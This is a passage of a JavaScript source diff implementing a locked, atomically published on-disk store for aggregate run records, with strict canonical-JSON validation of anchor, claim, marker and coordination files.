'The aggregate run file could not be opened safely.'); + } + try { + const stat = await handle.stat(); + assertRegularUnsharedFile(stat, field); + if (Number(stat.size) > maxBytes) { + failAnchor('aggregate_run_too_large', field, `Aggregate run files must not exceed ${maxBytes} bytes.`); + } + const bytes = await handle.readFile(); + if (bytes.byteLength > maxBytes) { + failAnchor('aggregate_run_too_large', field, `Aggregate run files must not exceed ${maxBytes} bytes.`); + } + const after = await handle.stat(); + if (!sameIdentity(stat, after) || Number(after.size) !== Number(stat.size) + || Number(after.nlink) !== Number(stat.nlink)) { + failAnchor('aggregate_run_unreadable', field, 'The aggregate run file changed while it was read.'); + } + return { bytes, stat, path: target }; + } finally { + await handle.close().catch(() => {}); + } +} + +async function inspectFileIdentity(dirToken, name, field) { + const opened = await readBoundedFile(dirToken, name, Number.MAX_SAFE_INTEGER, field); + if (opened === null) return null; + return { path: opened.path, dev: opened.stat.dev, ino: opened.stat.ino }; +} + +async function reopenFileIdentity(token, label, maxBytes, field) { + const dirPath = path.dirname(token.path); + const name = path.basename(token.path); + const fakeDir = { path: dirPath }; + const opened = await readBoundedFile(fakeDir, name, maxBytes, field); + if (opened === null) { + failAnchor(swapCodeFor(label), label, `The aggregate run ${label} was replaced during use.`); + } + if (!sameIdentity(opened.stat, token)) { + failAnchor(swapCodeFor(label), label, `The aggregate run ${label} was replaced during use.`); + } + return opened; +} + +function equalBytes(left, right) { + if (!NodeBuffer.isBuffer(left) || !NodeBuffer.isBuffer(right) || left.length !== right.length) { + return false; + } + return TIMING_SAFE_EQUAL(left, right); +} + +async function writePrivateTemp(dirToken, bytes, field) { + const tempName = `.tmp-${RANDOM_BYTES(16).toString('hex')}`; + const tempPath = childPath(dirToken.path, tempName); + let handle; + try { + handle = await open(tempPath, FILE_CREATE_FLAGS, 0o600); + } catch (error) { + mapErrno(error, field, 'aggregate_run_unreadable', 'A private temporary file could not be created.'); + } + try { + await handle.chmod(0o600); + await handle.writeFile(bytes); + await handle.sync(); + const stat = await handle.stat(); + assertRegularUnsharedFile(stat, field); + if (Number(stat.size) !== bytes.byteLength) { + failAnchor('aggregate_run_unreadable', field, 'Temporary write was truncated.'); + } + return { name: tempName, path: tempPath, dev: stat.dev, ino: stat.ino }; + } finally { + await handle.close().catch(() => {}); + } +} + +async function atomicPublish(dirToken, finalName, bytes, field) { + const temp = await writePrivateTemp(dirToken, bytes, field); + const finalPath = childPath(dirToken.path, finalName); + try { + await rename(temp.path, finalPath); + } catch (error) { + await unlink(temp.path).catch(() => {}); + mapErrno(error, field, 'aggregate_run_unreadable', + 'The aggregate run file could not be published atomically.'); + } + await syncDirectory(dirToken.handle); + const reread = await readBoundedFile(dirToken, finalName, bytes.byteLength, field); + if (reread === null || !equalBytes(reread.bytes, bytes) || !sameIdentity(reread.stat, temp)) { + failAnchor('aggregate_run_unreadable', field, 'Detached or unverifiable publication is not success.'); + } + return { path: reread.path, dev: reread.stat.dev, ino: reread.stat.ino }; +} + +async function exclusivePublish(dirToken, finalName, bytes, field) { + const temp = await writePrivateTemp(dirToken, bytes, field); + const finalPath = childPath(dirToken.path, finalName); + try { + await link(temp.path, finalPath); + } catch (error) { + await unlink(temp.path).catch(() => {}); + if (error?.code === 'EEXIST') return { published: false }; + if (error?.code === 'ELOOP') { + failAnchor('aggregate_run_not_regular', field, 'Aggregate run files must be regular non-symlink files.'); + } + mapErrno(error, field, 'aggregate_run_unreadable', + 'The aggregate run file could not be published exclusively.'); + } + await unlink(temp.path).catch(() => {}); + await syncDirectory(dirToken.handle); + const reread = await readBoundedFile(dirToken, finalName, bytes.byteLength, field); + if (reread === null || !equalBytes(reread.bytes, bytes) || !sameIdentity(reread.stat, temp)) { + failAnchor('aggregate_run_unreadable', field, 'Detached or unverifiable publication is not success.'); + } + return { published: true, path: reread.path, dev: reread.stat.dev, ino: reread.stat.ino }; +} + +async function removeStaleTemporaries(dirToken, names) { + let removed = 0; + for (const name of names) { + if (!capturedTest(TEMP_NAME_PATTERN, name) && !capturedTest(LOCK_OWNER_NAME_PATTERN, name)) { + continue; + } + const target = childPath(dirToken.path, name); + let handle; + try { + handle = await open(target, FILE_READ_FLAGS); + } catch (error) { + if (error?.code === 'ENOENT') continue; + if (error?.code === 'ELOOP' || error?.code === 'EISDIR' || error?.code === 'ENOTDIR') { + failAnchor('aggregate_run_not_regular', 'temporary', + 'A leftover temporary path is not a regular file and was not followed.'); + } + throw error; + } + try { + const stat = await handle.stat(); + if (stat.isSymbolicLink() || !stat.isFile()) { + failAnchor('aggregate_run_not_regular', 'temporary', + 'A leftover temporary path is not a regular file and was not followed.'); + } + } finally { + await handle.close().catch(() => {}); + } + try { + await unlink(target); + removed += 1; + } catch (error) { + if (error?.code !== 'ENOENT') throw error; + } + } + if (removed > 0) await syncDirectory(dirToken.handle); + return removed; +} + +function pidAlive(pid) { + if (!NUMBER_IS_SAFE_INTEGER(pid) || pid <= 0) return false; + try { + process.kill(pid, 0); + return true; + } catch (error) { + return error?.code === 'EPERM'; + } +} + +function sleep(ms) { + return new Promise((resolve) => setTimeout(resolve, ms)); +} + +function validLockPidShape(pid) { + return NUMBER_IS_SAFE_INTEGER(pid) && pid >= 1 && pid <= 0xffffffff; +} + +async function readLockFile(dirToken, schemaId) { + const target = childPath(dirToken.path, LOCK_NAME); + let handle; + try { + handle = await open(target, FILE_READ_FLAGS); + } catch (error) { + if (error?.code === 'ENOENT') return null; + if (error?.code === 'ELOOP' || error?.code === 'ENOTDIR' || error?.code === 'EISDIR') { + failAnchor('aggregate_run_lock_corrupt', LOCK_NAME, + 'The lock file is malformed and was not followed.'); + } + throw error; + } + let opened; + try { + const stat = await handle.stat(); + if (stat.isSymbolicLink() || !stat.isFile()) { + failAnchor('aggregate_run_lock_corrupt', LOCK_NAME, + 'The lock file is malformed and was not followed.'); + } + const uid = ownerUid(); + if (uid !== undefined && Number(stat.uid) !== uid) { + failAnchor('aggregate_run_lock_corrupt', LOCK_NAME, + 'The lock file is malformed and was not followed.'); + } + if ((Number(stat.mode) & 0o077) !== 0 || Number(stat.size) > MAX_AGGREGATE_LOCK_BYTES) { + failAnchor('aggregate_run_lock_corrupt', LOCK_NAME, + 'The lock file is malformed and was not followed.'); + } + const bytes = await handle.readFile(); + const after = await handle.stat(); + if (!sameIdentity(stat, after) || Number(after.size) !== Number(stat.size)) return null; + opened = { bytes, stat }; + } finally { + await handle.close().catch(() => {}); + } + let text; + try { + text = TEXT_DECODER.decode(opened.bytes); + } catch { + failAnchor('aggregate_run_lock_corrupt', LOCK_NAME, + 'The lock file is malformed and was not followed.'); + } + let parsed; + try { + parsed = JSON_PARSE(text.endsWith('\n') ? text.slice(0, -1) : text); + } catch { + failAnchor('aggregate_run_lock_corrupt', LOCK_NAME, + 'The lock file is malformed and was not followed.'); + } + const keys = parsed === null || typeof parsed !== 'object' ? [] : sortedCapturedKeys(parsed); + if (text.length > MAX_AGGREGATE_LOCK_BYTES || keys.length !== 3 + || !keys.includes('schema') || !keys.includes('pid') || !keys.includes('nonce') + || parsed.schema !== schemaId + || !validLockPidShape(parsed.pid) + || typeof parsed.nonce !== 'string' + || !capturedTest(NONCE_PATTERN, parsed.nonce)) { + failAnchor('aggregate_run_lock_corrupt', LOCK_NAME, + 'The lock file is malformed and was not followed.'); + } + return { schema: parsed.schema, pid: parsed.pid, nonce: parsed.nonce, dev: opened.stat.dev, ino: opened.stat.ino }; +} + +async function lockAgeMs(dirToken) { + let handle; + try { + handle = await open(childPath(dirToken.path, LOCK_NAME), FILE_READ_FLAGS); + } catch { + return 0; + } + try { + const stat = await handle.stat(); + return Math.max(0, Date.now() - Number(stat.mtimeMs)); + } catch { + return 0; + } finally { + await handle.close().catch(() => {}); + } +} + +async function acquireLock(dirToken, schemaId) { + const deadline = Date.now() + AGGREGATE_LOCK_WAIT_MS; + let steals = 0; + while (true) { + const ownerName = `.lock-${RANDOM_BYTES(16).toString('hex')}`; + const ownerPath = childPath(dirToken.path, ownerName); + const ownerBody = `${canonicalJsonStringify({ + schema: schemaId, + pid: process.pid, + nonce: RANDOM_BYTES(16).toString('hex'), + })}\n`; + let handle; + try { + handle = await open(ownerPath, FILE_CREATE_FLAGS, 0o600); + } catch (error) { + mapErrno(error, 'lock', 'aggregate_run_unreadable', 'The lock owner file could not be created.'); + } + try { + await handle.writeFile(ownerBody, 'utf8'); + } finally { + await handle.close().catch(() => {}); + } + let acquired = false; + try { + await link(ownerPath, childPath(dirToken.path, LOCK_NAME)); + acquired = true; + } catch (error) { + if (error?.code === 'ENOENT') acquired = false; + else if (error?.code !== 'EEXIST') { + await unlink(ownerPath).catch(() => {}); + mapErrno(error, 'lock', 'aggregate_run_unreadable', 'The lock could not be acquired exclusively.'); + } + } + await unlink(ownerPath).catch(() => {}); + if (acquired) { + const held = await readLockFile(dirToken, schemaId); + if (held === null || held.pid !== process.pid) { + failAnchor('aggregate_run_lock_corrupt', LOCK_NAME, 'The acquired lock was replaced before use.'); + } + return held; + } + const existing = await readLockFile(dirToken, schemaId); + if (existing === null) continue; + const ageMs = await lockAgeMs(dirToken); + const stale = !pidAlive(existing.pid) || ageMs > AGGREGATE_LOCK_MAX_AGE_MS; + if (stale && steals < MAX_AGGREGATE_LOCK_STEALS) { + const current = await readLockFile(dirToken, schemaId).catch(() => null); + if (current !== null && current.pid === existing.pid + && Number(current.dev) === Number(existing.dev) + && Number(current.ino) === Number(existing.ino)) { + try { + await unlink(childPath(dirToken.path, LOCK_NAME)); + } catch (error) { + if (error?.code !== 'ENOENT') throw error; + } + steals += 1; + continue; + } + continue; + } + if (Date.now() >= deadline) { + failAnchor('aggregate_run_lock_timeout', LOCK_NAME, + 'The aggregate run lock stayed contended for the bounded wait.'); + } + await sleep(AGGREGATE_LOCK_POLL_MS); + } +} + +async function releaseLock(dirToken, token, schemaId) { + const held = await readLockFile(dirToken, schemaId).catch(() => null); + if (held === null) return; + if (held.nonce !== token.nonce + || Number(held.dev) !== Number(token.dev) + || Number(held.ino) !== Number(token.ino)) { + return; + } + await unlink(childPath(dirToken.path, LOCK_NAME)).catch(() => {}); +} + +function decodeStrictUtf8(bytes, field) { + if (bytes.byteLength >= 3 && bytes[0] === 0xef && bytes[1] === 0xbb && bytes[2] === 0xbb) { + failAnchor('aggregate_run_malformed', field, 'Aggregate run files must not begin with a UTF-8 BOM.'); + } + if (bytes.byteLength >= 3 && bytes[0] === 0xef && bytes[1] === 0xbb && bytes[2] === 0xbf) { + failAnchor('aggregate_run_malformed', field, 'Aggregate run files must not begin with a UTF-8 BOM.'); + } + try { + return TEXT_DECODER.decode(bytes); + } catch { + failAnchor('aggregate_run_malformed', field, 'Aggregate run files must be valid UTF-8.'); + } +} + +function assertNoDuplicateJsonKeys(text, field) { + if (typeof text !== 'string') { + failAnchor('aggregate_run_malformed', field, 'Aggregate run records must be UTF-8 JSON text.'); + } + const scopes = [{ object: false, keys: new Set() }]; + let inString = false; + let escaped = false; + let stringStart = -1; + for (let index = 0; index < text.length; index += 1) { + const char = text[index]; + if (inString) { + if (escaped) escaped = false; + else if (char === '\\') escaped = true; + else if (char === '"') { + inString = false; + const scope = scopes[scopes.length - 1]; + if (scope.object) { + let cursor = index + 1; + while (cursor < text.length && (text[cursor] === ' ' || text[cursor] === '\n' + || text[cursor] === '\r' || text[cursor] === '\t')) { + cursor += 1; + } + if (text[cursor] === ':') { + let key; + try { + key = JSON_PARSE(text.slice(stringStart - 1, index + 1)); + } catch { + failAnchor('aggregate_run_malformed', field, 'Aggregate run JSON key is invalid.'); + } + if (scope.keys.has(key)) { + failAnchor('aggregate_run_duplicate_entry', field, + 'Aggregate run JSON objects must not contain duplicate keys.'); + } + scope.keys.add(key); + } + } + } + continue; + } + if (char === '"') { + inString = true; + stringStart = index + 1; + continue; + } + if (char === '{') { + scopes.push({ object: true, keys: new Set() }); + if (scopes.length > 40) { + failAnchor('aggregate_run_malformed', field, 'Aggregate run JSON exceeds the nesting bound.'); + } + continue; + } + if (char === '[') { + scopes.push({ object: false, keys: new Set() }); + if (scopes.length > 40) { + failAnchor('aggregate_run_malformed', field, 'Aggregate run JSON exceeds the nesting bound.'); + } + continue; + } + if (char === '}' || char === ']') { + if (scopes.length <= 1) { + failAnchor('aggregate_run_malformed', field, 'Aggregate run JSON is unbalanced.'); + } + scopes.pop(); + } + } + if (inString || scopes.length !== 1) { + failAnchor('aggregate_run_malformed', field, 'Aggregate run JSON is incomplete.'); + } +} + +function parseCanonicalObject(bytes, field, maxBytes) { + if (!NodeBuffer.isBuffer(bytes) || bytes.byteLength === 0) { + failAnchor('aggregate_run_malformed', field, 'Aggregate run record is truncated.'); + } + if (bytes.byteLength > maxBytes) { + failAnchor('aggregate_run_too_large', field, 'Aggregate run file exceeds the bounded size.'); + } + const text = decodeStrictUtf8(bytes, field); + if (!text.endsWith('\n')) { + failAnchor('aggregate_run_malformed', field, 'Aggregate run records must end with a single newline.'); + } + const body = text.slice(0, -1); + assertNoDuplicateJsonKeys(body, field); + let parsed; + try { + parsed = JSON_PARSE(body); + } catch { + failAnchor('aggregate_run_malformed', field, 'Aggregate run record is not valid JSON.'); + } + if (parsed === undefined || parsed === null || typeof parsed !== 'object' || Array.isArray(parsed)) { + failAnchor('aggregate_run_malformed', field, 'Aggregate run record must be a JSON object.'); + } + if (canonicalJsonStringify(parsed) !== body) { + failAnchor('aggregate_run_malformed', field, 'Aggregate run records must be canonical UTF-8 JSON.'); + } + assertDirectJsonClosure(parsed, field); + return parsed; +} + +function encodeRecord(record, maxBytes, field) { + const bytes = BUFFER_FROM(`${canonicalJsonStringify(record)}\n`, 'utf8'); + if (bytes.byteLength > maxBytes) { + failAnchor('aggregate_run_too_large', field, `Aggregate run records must not exceed ${maxBytes} bytes.`); + } + return bytes; +} + +export function deriveAggregateSubmissionKeyV1(runId, git, manifestDigest) { + assertRunId(runId, 'run_id'); + const boundGit = validateGitIdentityV1(git, 'git'); + assertHexDigest(manifestDigest, 'manifest_digest'); + return identityBoundDigest(IDENTITY_LABELS.AGGREGATE_SUBMISSION_IDEMPOTENCY, { + schema: AGGREGATE_SUBMISSION_SCHEMA_ID, + run_id: runId, + git_digest: boundGit.digest, + repository_path: boundGit.repository_path, + base_sha: boundGit.base_sha, + manifest_digest: manifestDigest, + }); +} + +function bindMarkerPayload(nonce) { + if (typeof nonce !== 'string' || !capturedTest(NONCE_PATTERN, nonce)) { + failAnchor('invalid_format', 'nonce', 'Storage root nonce must be 32 lowercase hex characters.'); + } + const payload = { + schema: STORAGE_ROOT_SCHEMA_ID, + kind: AGGREGATE_STORAGE_ROOT_KIND, + nonce, + }; + const canonicalDigest = identityBoundDigest(IDENTITY_LABELS.STORAGE_ROOT, payload); + const record = snapshotRecord({ ...payload, canonical_digest: canonicalDigest }); + return { record, bytes: encodeRecord(record, MAX_AGGREGATE_MARKER_BYTES, MARKER_NAME) }; +} + +function parseStoredMarker(bytes, field = MARKER_NAME) { + const parsed = parseCanonicalObject(bytes, field, MAX_AGGREGATE_MARKER_BYTES); + const fields = closedObject(parsed, field, AGGREGATE_MARKER_KEYS); + if (fields.schema !== STORAGE_ROOT_SCHEMA_ID) { + failAnchor('aggregate_run_malformed', `${field}.schema`, + `Storage root schema must be exactly "${STORAGE_ROOT_SCHEMA_ID}".`); + } + if (fields.kind !== AGGREGATE_STORAGE_ROOT_KIND) { + failAnchor('aggregate_run_root_foreign', `${field}.kind`, + 'Storage root marker kind must be exactly aggregate_run_anchor.'); + } + const rebuilt = bindMarkerPayload(fields.nonce); + if (rebuilt.record.canonical_digest !== fields.canonical_digest + || !equalBytes(rebuilt.bytes, bytes)) { + failAnchor('aggregate_run_identity_mismatch', field, + 'Storage root marker digest does not match its canonical form.'); + } + return rebuilt; +} + +function bindClaimPayload(fields) { + assertRunId(fields.run_id, 'run_id'); + assertBoundDigest(fields.anchor_digest, 'anchor_digest'); + assertBoundDigest(fields.submission_idempotency_key, 'submission_idempotency_key'); + assertBoundDigest(fields.root_marker_digest, 'root_marker_digest'); + if (typeof fields.root_marker_nonce !== 'string' || !capturedTest(NONCE_PATTERN, fields.root_marker_nonce)) { + failAnchor('invalid_format', 'root_marker_nonce', + 'Claim root marker nonce must be 32 lowercase hex characters.'); + } + if (typeof fields.nonce !== 'string' || !capturedTest(NONCE_PATTERN, fields.nonce)) { + failAnchor('invalid_format', 'nonce', 'Claim nonce must be 32 lowercase hex characters.'); + } + const payload = { + schema: AGGREGATE_RUN_CLAIM_SCHEMA_ID, + run_id: fields.run_id, + anchor_digest: fields.anchor_digest, + submission_idempotency_key: fields.submission_idempotency_key, + root_marker_nonce: fields.root_marker_nonce, + root_marker_digest: fields.root_marker_digest, + nonce: fields.nonce, + }; + const canonicalDigest = identityBoundDigest(IDENTITY_LABELS.AGGREGATE_RUN_CLAIM, payload); + const record = snapshotRecord({ ...payload, canonical_digest: canonicalDigest }); + return { record, bytes: encodeRecord(record, MAX_AGGREGATE_CLAIM_BYTES, 'claim') }; +} + +function parseStoredClaim(bytes, field = 'claim') { + const parsed = parseCanonicalObject(bytes, field, MAX_AGGREGATE_CLAIM_BYTES); + const fields = closedObject(parsed, field, AGGREGATE_CLAIM_KEYS); + if (fields.schema !== AGGREGATE_RUN_CLAIM_SCHEMA_ID) { + failAnchor('aggregate_run_malformed', `${field}.schema`, + `Claim schema must be exactly "${AGGREGATE_RUN_CLAIM_SCHEMA_ID}".`); + } + const rebuilt = bindClaimPayload(fields); + if (rebuilt.record.canonical_digest !== fields.canonical_digest + || !equalBytes(rebuilt.bytes, bytes)) { + failAnchor('aggregate_run_identity_mismatch', field, + 'Claim digest does not match its canonical form.'); + } + return rebuilt; +} + +function bindAnchorPayload(fields) { + const identity = validateRunIdentityV1(fields.identity, 'identity'); + const git = validateGitIdentityV1(fields.git, 'git'); + assertSharedGitIdentityV1(identity.git, git, 'git'); + assertRunId(fields.run_id, 'run_id'); + assertHexDigest(fields.manifest_digest, 'manifest_digest'); + if (identity.run_id !== fields.run_id) { + failAnchor('aggregate_run_identity_mismatch', 'run_id', + 'Aggregate run records must bind one run identity.'); + } + if (identity.manifest_digest !== fields.manifest_digest) { + failAnchor('aggregate_run_identity_mismatch', 'manifest_digest', + 'manifest_digest must equal the bound run identity manifest digest.'); + } + if (identity.git.digest !== git.digest) { + failAnchor('aggregate_run_identity_mismatch', 'git', + 'Git identity does not match the immutable repository/base authority.'); + } + const submissionKey = deriveAggregateSubmissionKeyV1(fields.run_id, git, fields.manifest_digest); + const payload = { + schema: AGGREGATE_RUN_ANCHOR_SCHEMA_ID, + run_id: fields.run_id, + identity, + git, + manifest_digest: fields.manifest_digest, + submission_idempotency_key: submissionKey, + }; + const canonicalDigest = identityBoundDigest(IDENTITY_LABELS.AGGREGATE_RUN_ANCHOR, payload); + const record = snapshotRecord({ ...payload, canonical_digest: canonicalDigest }); + return { record, bytes: encodeRecord(record, MAX_AGGREGATE_ANCHOR_BYTES, 'anchor') }; +} + +export function validateAggregateRunAnchorV1(value, path = 'anchor') { + const fields = closedObject(value, path, AGGREGATE_RUN_ANCHOR_KEYS); + if (fields.schema !== AGGREGATE_RUN_ANCHOR_SCHEMA_ID) { + failAnchor('invalid_format', `${path}.schema`, + `Aggregate run anchor schema must be exactly "${AGGREGATE_RUN_ANCHOR_SCHEMA_ID}".`); + } + const rebuilt = bindAnchorPayload(fields); + if (rebuilt.record.canonical_digest !== fields.canonical_digest) { + failAnchor('aggregate_run_identity_mismatch', `${path}.canonical_digest`, + 'Anchor digest does not match its canonical form.'); + } + return rebuilt.record; +} + +function parseSubmitInput(input) { + if (input === undefined || input === null) { + failAnchor('invalid_type', 'record', 'Aggregate run submission must be a plain JSON data object.'); + } + assertDirectJsonClosure(input, 'record'); + const fields = closedObject(input, 'record', AGGREGATE_RUN_ANCHOR_INPUT_KEYS); + return bindAnchorPayload(fields); +} + +function parseStoredAnchor(bytes, field = 'anchor') { + const parsed = parseCanonicalObject(bytes, field, MAX_AGGREGATE_ANCHOR_BYTES); + const record = validateAggregateRunAnchorV1(parsed, field); + const rebuilt = bindAnchorPayload(record); + if (!equalBytes(rebuilt.bytes, bytes)) { + failAnchor('aggregate_run_identity_mismatch', field, + 'Stored canonical bytes do not match the recomputed anchor.'); + } + return rebuilt; +} + +function parseNullableDigest(value, field) { + if (value === null) return null; + assertBoundDigest(value, field); + return value; +} + +function parseSelectionBinding(value, runId, field) { + if (value === null) return null; + const fields = closedObject(value, field, AGGREGATE_SELECTION_BINDING_KEYS); + assertRunId(fields.run_id, `${field}.run_id`); + if (fields.run_id !== runId) { + failAnchor('aggregate_run_identity_mismatch', `${field}.run_id`, + 'Selection request binding must name the bound run.'); + } + if (typeof fields.request_id !== 'string' || !capturedTest(REQUEST_ID_PATTERN, fields.request_id)) { + failAnchor('invalid_format', `${field}.request_id`, 'Selection request id must match sel-<32hex>.'); + } + assertBoundDigest(fields.digest, `${field}.digest`); + assertBoundDigest(fields.record_digest, `${field}.record_digest`); + return snapshotRecord(fields); +} + +function sameBinding(left, right) { + if (left === null && right === null) return true; + if (left === null || right === null) return false; + return left.run_id === right.run_id + && left.request_id === right.request_id + && left.digest === right.digest + && left.record_digest === right.record_digest; +} + +function bindCoordinationPayload(fields) { + assertRunId(fields.run_id, 'run_id'); + assertBoundDigest(fields.anchor_digest, 'anchor_digest'); + if (!NUMBER_IS_SAFE_INTEGER(fields.revision) || fields.revision < 0 || fields.revision > 2) { + failAnchor('invalid_format', 'revision', 'Coordination revision must be 0, 1, or 2.'); + } + if (!capturedIncludes(AGGREGATE_RUN_PHASES, fields.phase)) { + failAnchor('invalid_format', 'phase', 'Coordination phase is not a legal aggregate run phase.'); + } + const binding = parseSelectionBinding(fields.selection_request_binding, fields.run_id, + 'selection_request_binding'); + const reply = parseNullableDigest(fields.selection_reply_digest, 'selection_reply_digest'); + const plan = parseNullableDigest(fields.resolved_plan_digest, 'resolved_plan_digest'); + if (fields.phase === 'submitted') { + if (fields.revision !== 0 || binding !== null || reply !== null || plan !== null) { + failAnchor('aggregate_run_phase_conflict', 'phase', + 'submitted coordination must be revision 0 with empty bindings.'); + } + } else if (fields.phase === 'awaiting_selection') { + if (fields.revision !== 1 || binding === null || reply !== null || plan !== null) { + failAnchor('aggregate_run_phase_conflict', 'phase', + 'awaiting_selection coordination must be revision 1 with a request binding only.'); + } + } else if (fields.revision === 2) { + if (binding === null || reply === null || plan === null) { + failAnchor('aggregate_run_phase_conflict', 'phase', + 'resolution_ready@2 must bind request, reply, and resolved plan.'); + } + } else if (fields.revision === 1) { + if (binding !== null || reply !== null || plan === null) { + failAnchor('aggregate_run_phase_conflict', 'phase', + 'resolution_ready@1 must bind only a resolved plan.'); + } + } else { + failAnchor('aggregate_run_phase_conflict', 'revision', + 'resolution_ready revision must be 1 or 2.'); + } + const payload = { + schema: AGGREGATE_RUN_COORDINATION_SCHEMA_ID, + run_id: fields.run_id, + anchor_digest: fields.anchor_digest, + revision: fields.revision, + phase: fields.phase, + selection_request_binding: binding, + selection_reply_digest: reply, + resolved_plan_digest: plan, + }; + const stateDigest = identityBoundDigest(IDENTITY_LABELS.AGGREGATE_RUN_COORDINATION, payload); + const record = snapshotRecord({ ...payload, state_digest: stateDigest }); + return { record, bytes: encodeRecord(record, MAX_AGGREGATE_COORDINATION_BYTES, 'coordination') }; +} + +export function validateAggregateRunCoordinationV1(value, path = 'coordination') { + const fields = closedObject(value, path, AGGREGATE_RUN_COORDINATION_KEYS); + if (fields.schema !== AGGREGATE_RUN_COORDINATION_SCHEMA_ID) { + failAnchor('invalid_format', `${path}.schema`, + `Coordination schema must be exactly "${AGGREGATE_RUN_COORDINATION_SCHEMA_ID}".`); + } + const rebuilt = bindCoordinationPayload(fields); + if (rebuilt.record.state_digest !== fields.state_digest) { + failAnchor('aggregate_run_identity_mismatch', `${path}.state_digest`, + 'Coordination digest does not match its canonical form.'); + } + return rebuilt.record; +} + +function parseStoredCoordination(bytes, field = 'coordination') { + const parsed = parseCanonicalObject(bytes, field, MAX_AGGREGATE_COORDINATION_BYTES); + const record = validateAggregateRunCoordinationV1(parsed, field); + const rebuilt = bindCoordinationPayload(record); + if (!equalBytes(rebuilt.bytes, bytes)) { + failAnchor('aggregate_run_identity_mismatch', field, + 'Stored canonical bytes do not match the recomputed coordination.'); + } + return rebuilt; +} + +function initialCoordination(anchor) { + return bindCoordinationPayload({ + schema: AGGREGATE_RUN_COORDINATION_SCHEMA_ID, + run_id: anchor.run_id, + anchor_digest: anchor.canonical_digest, + revision: 0, + phase: 'submitted', + selection_request_binding: null, + selection_reply_digest: null, + resolved_plan_digest: null, + }); +} + +function stampRecord(runId, anchorDigest, nonceHex) { + return { + schema: AGGREGATE_RUN_STAMP_SCHEMA_ID, + run_id: runId, + record_canonical_digest: anchorDigest, + nonce: nonceHex, + }; +} + +async function verifyCreationStamp(dirToken, binding) { + const opened = await readBoundedFile(dirToken, STAMP_NAME, MAX_AGGREGATE_STAMP_BYTES, STAMP_NAME); + const rebound = () => failAnchor('aggregate_run_dir_swapped', STAMP_NAME, + 'The run directory is not the private aggregate run created for this claim.'); + if (opened === null) rebound(); + const parsed = parseCanonicalObject(opened.bytes, STAMP_NAME, MAX_AGGREGATE_STAMP_BYTES); + const keys = sortedCapturedKeys(parsed); + if (keys.length !== 4 + || parsed.schema !== AGGREGATE_RUN_STAMP_SCHEMA_ID + || parsed.run_id !== binding.run_id + || parsed.record_canonical_digest !== binding.canonical_digest + || typeof parsed.nonce !== 'string' + || !capturedTest(NONCE_PATTERN, parsed.nonce)) { + rebound(); + } +} + +function classifyRootName(name) { + if (name === MARKER_NAME) return 'marker'; + if (name === CLAIMS_NAME) return 'claims'; + if (name === RUNS_NAME) return 'runs'; + if (name === LOCK_NAME) return 'lock'; + if (capturedTest(TEMP_NAME_PATTERN, name) || capturedTest(LOCK_OWNER_NAME_PATTERN, name)) return 'temp'; + return 'foreign'; +} + +function classifyUnmarkedRoot(names) { + if (names.length === 0) return 'empty'; + let sawP24 = false; + let sawRuns = false; + for (const name of names) { + if (capturedTest(TEMP_NAME_PATTERN, name) || capturedTest(LOCK_OWNER_NAME_PATTERN, name)) continue; + if (capturedTest(P24_RECORD_NAME_PATTERN, name) || capturedTest(P24_KEY_NAME_PATTERN, name)) { + sawP24 = true; + continue; + } + if (name === RUNS_NAME) { + sawRuns = true; + continue; + } + return 'foreign'; + } + if (sawP24) return 'p24'; + if (sawRuns) return 'p25'; + return 'foreign'; +} + +async function mkdirExclusive(target, field) { + try { + await mkdir(target, { mode: 0o700 }); + return true; + } catch (error) { + if (error?.code === 'EEXIST') return false; + mapErrno(error, field, 'aggregate_run_unreadable', 'The aggregate run directory could not be created.'); + } +} + +async function ensurePrivateDirectory(parent, name, field) { + const target = childPath(parent.path, name); + await mkdirExclusive(target, field); + const opened = await openDirectoryHandle(target, field); + return opened; +} + +function withRootChain(token, operation) { + const id = `${STRING(token.dev)}:${STRING(token.ino)}`; + const previous = ROOT_CHAINS.get(id) ?? Promise.resolve(); + const current = previous.catch(() => {}).then(operation); + const settled = current.catch(() => {}).then(() => { + if (ROOT_CHAINS.get(id) === settled) ROOT_CHAINS.delete(id); + }); + ROOT_CHAINS.set(id, settled); + return current; +} + +async function readAndParseMarker(rootToken) { + const opened = await readBoundedFile(rootToken, MARKER_NAME, MAX_AGGREGATE_MARKER_BYTES, 'marker'); + if (opened === null) return null; + const parsed = parseStoredMarker(opened.bytes); + return { ...parsed, stat: opened.stat, path: opened.path }; +} + +async function auditMarkedRoot(rootToken, { createMissing = false } = {}) { + const names = await enumerateDirectory(rootToken, MAX_AGGREGATE_ROOT_ENTRIES, 'root'); + const marker = await readAndParseMarker(rootToken); + if (marker === null) { + const kind = classifyUnmarkedRoot(names); + if (kind === 'empty') { + failAnchor('aggregate_run_root_uninitialized', 'root', + 'The aggregate run root has not been initialized.'); + } + if (kind === 'p24' || kind === 'p25') { + failAnchor('aggregate_run_root_shared', 'root', + 'The aggregate run root must be separate from accepted P24 and P25 roots.'); + } + failAnchor('aggregate_run_root_foreign', 'root', + 'The aggregate run root contains a foreign layout.'); + } + const allowed = []; + for (const name of names) { + const kind = classifyRootName(name); + if (kind === 'foreign') { + failAnchor('aggregate_run_root_foreign', 'root', + 'The aggregate run root contains a foreign entry.'); + } + if (kind === 'temp') allowed.push(name); + else allowed.push(name); + } + await removeStaleTemporaries(rootToken, names); + let claims = null; + let runs = null; + if (!names.includes(CLAIMS_NAME)) { + if (!createMissing) { + failAnchor('aggregate_run_root_unreadable', 'claims', + 'The initialized aggregate run root is missing its claims directory.'); + } + claims = await ensurePrivateDirectory(rootToken, CLAIMS_NAME, 'claims'); + } else { + claims = await openDirectoryHandle(childPath(rootToken.path, CLAIMS_NAME), 'claims'); + } + try { + if (!names.includes(RUNS_NAME)) { + if (!createMissing) { + failAnchor('aggregate_run_root_unreadable', 'runs', + 'The initialized aggregate run root is missing its runs directory.'); + } + runs = await ensurePrivateDirectory(rootToken, RUNS_NAME, 'runs'); + } else { + runs = await openDirectoryHandle(childPath(rootToken.path, RUNS_NAME), 'runs'); + } + } catch (error) { + await claims.handle.close().catch(() => {}); + throw error; + } + return { marker, claims, runs }; +} + +function claimNameFor(runId) { + assertRunId(runId, 'run_id'); + return `${runId}.json`; +} + +async function auditNamespace(claimsToken, runsToken) { + const claimNames = await enumerateDirectory(claimsToken, MAX_AGGREGATE_CLAIMS_DIRECTORY_ENTRIES, 'claims'); + const runNames = await enumerateDirectory(runsToken, MAX_AGGREGATE_RUNS_DIRECTORY_ENTRIES, 'runs'); + const claimTemps = []; + const claims = []; + for (const name of claimNames) { + if (capturedTest(TEMP_NAME_PATTERN, name) || capturedTest(LOCK_OWNER_NAME_PATTERN, name) + || name === 